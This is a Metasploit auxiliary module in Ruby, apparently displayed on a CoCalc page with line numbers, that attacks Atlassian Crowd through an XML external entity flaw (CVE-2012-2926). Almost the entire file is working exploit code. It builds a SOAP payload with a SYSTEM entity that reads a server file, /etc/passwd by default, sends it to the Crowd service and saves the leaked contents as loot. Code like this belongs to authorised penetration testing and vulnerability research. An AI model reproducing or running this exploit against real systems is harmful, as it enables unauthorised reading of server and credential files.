CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::Scanner
10

11
  def initialize
12
    super(
13
      'Name'         => 'Atlassian Crowd XML Entity Expansion Remote File Access',
14
      'Description'  =>  %q{
15
          This module simply attempts to read a remote file from the server using a
16
        vulnerability in the way Atlassian Crowd handles XML files. The vulnerability
17
        occurs while trying to expand external entities with the SYSTEM identifier. This
18
        module has been tested successfully on Linux and Windows installations of Crowd.
19
      },
20
      'References'   =>
21
        [
22
          [ 'CVE', '2012-2926' ],
23
          [ 'OSVDB', '82274' ],
24
          [ 'BID', '53595' ],
25
          [ 'URL', 'https://neg9.org/' ], # General
26
          [ 'URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html']
27
        ],
28
      'Author'       =>
29
        [
30
          'Will Caput', # Vulnerability discovery and Metasploit module
31
          'Trevor Hartman', # Vulnerability discovery
32
          'Thaddeus Bogner', # Metasploit module
33
          'juan vazquez' # Metasploit module help
34
        ],
35
      'License'      => MSF_LICENSE
36
    )
37

38
    register_options(
39
    [
40
      Opt::RPORT(8095),
41
      OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),
42
      OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])
43

44
    ])
45

46
    register_autofilter_ports([ 8095 ])
47
  end
48

49
  def run_host(ip)
50
    uri = normalize_uri(target_uri.path)
51
    res = send_request_cgi({
52
      'uri'     => uri,
53
      'method'  => 'GET'})
54

55
    if not res
56
      print_error("#{rhost}:#{rport} Unable to connect")
57
      return
58
    end
59

60
    accessfile(ip)
61
  end
62

63
  def accessfile(rhost)
64
    uri = normalize_uri(target_uri.path)
65
    print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")
66

67
    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
68
    xmlaut = 'http://authentication.integration.crowd.atlassian.com'
69
    xmlsoap = 'http://soap.integration.crowd.atlassian.com'
70
    entity = Rex::Text.rand_text_alpha(rand(4) + 4)
71

72
    data = "<!DOCTYPE foo [<!ENTITY #{entity} SYSTEM \"file://#{datastore['RFILE']}\"> ]>" + "\r\n"
73
    data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:urn="urn:SecurityServer" xmlns:aut="' + xmlaut + '" xmlns:soap="' + xmlsoap + '">' + "\r\n"
74
    data << '<soapenv:Header/>' + "\r\n"
75
    data << '<soapenv:Body>' + "\r\n"
76
    data << '<urn:addAllPrincipals>' + "\r\n"
77
    data << '<urn:in0>' + "\r\n"
78
    data << '<!--Optional:-->' + "\r\n"
79
    data << '<aut:name>?</aut:name>' + "\r\n"
80
    data << '<!--Optional:-->' + "\r\n"
81
    data << '<aut:token>?</aut:token>' + "\r\n"
82
    data << '</urn:in0>' + "\r\n"
83
    data << '<urn:in1>' + "\r\n"
84
    data << '<!--Zero or more repetitions:-->' + "\r\n"
85
    data << '<soap:SOAPPrincipalWithCredential>' + "\r\n"
86
    data << '<!--Optional:-->' + "\r\n"
87
    data << '<soap:passwordCredential>' + "\r\n"
88
    data << '<!--Optional:-->' + "\r\n"
89
    data << '<aut:credential>?</aut:credential>' + "\r\n"
90
    data << '<!--Optional:-->' + "\r\n"
91
    data << '<aut:encryptedCredential>'
92
    data << "?&#{entity};"
93
    data << '</aut:encryptedCredential>' + "\r\n"
94
    data << '</soap:passwordCredential>' + "\r\n"
95
    data << '<!--Optional:-->' + "\r\n"
96
    data << '<soap:principal>' + "\r\n"
97
    data << '<!--Optional:-->' + "\r\n"
98
    data << '<soap:ID>?</soap:ID>' + "\r\n"
99
    data << '<!--Optional:-->' + "\r\n"
100
    data << '<soap:active>?</soap:active>' + "\r\n"
101
    data << '<!--Optional:-->' + "\r\n"
102
    data << '<soap:attributes>' + "\r\n"
103
    data << '<!--Zero or more repetitions:-->' + "\r\n"
104
    data << '<soap:SOAPAttribute>' + "\r\n"
105
    data << '<!--Optional:-->' + "\r\n"
106
    data << '<soap:name>?</soap:name>' + "\r\n"
107
    data << '<!--Optional:-->' + "\r\n"
108
    data << '<soap:values>' + "\r\n"
109
    data << '<!--Zero or more repetitions:-->' + "\r\n"
110
    data << '<urn:string>?</urn:string>' + "\r\n"
111
    data << '</soap:values>' + "\r\n"
112
    data << '</soap:SOAPAttribute>' + "\r\n"
113
    data << '</soap:attributes>' + "\r\n"
114

115
    res = send_request_cgi({
116
        'uri'      => uri,
117
        'method'   => 'POST',
118
        'ctype'    => 'text/xml; charset=UTF-8',
119
        'data'     => data,
120
        'headers'  => {
121
          'SOAPAction'    => '""',
122
        }}, 60)
123

124
    if res and res.code == 500
125
      case res.body
126
      when /<faultstring\>Invalid boolean value: \?(.*)<\/faultstring>/m
127
        loot = $1
128
        if not loot or loot.empty?
129
          print_status("#{rhost}#{rport} Retrieved empty file from #{rhost}:#{rport}")
130
          return
131
        end
132
        f = ::File.basename(datastore['RFILE'])
133
        path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
134
        print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
135
        return
136
      end
137
    end
138

139
    print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
140
  end
141
end
142

143

144